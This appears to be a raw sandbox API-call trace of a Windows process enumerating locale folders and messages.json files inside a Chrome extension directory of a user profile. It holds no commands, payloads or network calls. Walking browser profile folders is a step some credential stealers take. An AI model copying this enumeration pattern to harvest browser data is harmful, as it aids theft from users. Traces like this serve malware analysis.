	[0066.311] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.311] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.311] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a6a560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.311] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.311] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.312] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12652f58 | out: lpFileInformation=0x12652f58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a6a560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe6)) returned 1
	[0066.312] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt"), fInfoLevelId=0x0, lpFileInformation=0x12652fa8 | out: lpFileInformation=0x12652fa8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.312] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.312] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.312] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.312] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a6a560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.312] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.312] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.312] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12653048 | out: lpFileInformation=0x12653048*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a6a560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe4)) returned 1
	[0066.313] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv"), fInfoLevelId=0x0, lpFileInformation=0x12653098 | out: lpFileInformation=0x12653098*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.313] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.313] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.314] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.314] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a6a560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.314] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.314] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.314] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12653138 | out: lpFileInformation=0x12653138*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a6a560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe9)) returned 1
	[0066.314] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms"), fInfoLevelId=0x0, lpFileInformation=0x12653188 | out: lpFileInformation=0x12653188*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.314] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.314] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.314] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.314] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.314] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.314] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.315] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12653228 | out: lpFileInformation=0x12653228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd2)) returned 1
	[0066.315] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl"), fInfoLevelId=0x0, lpFileInformation=0x12653278 | out: lpFileInformation=0x12653278*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.315] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.316] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.316] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.316] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.316] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.316] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.316] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12653318 | out: lpFileInformation=0x12653318*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd)) returned 1
	[0066.316] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no"), fInfoLevelId=0x0, lpFileInformation=0x12653368 | out: lpFileInformation=0x12653368*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.316] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.316] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.316] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.317] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe4180700, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.317] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.317] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
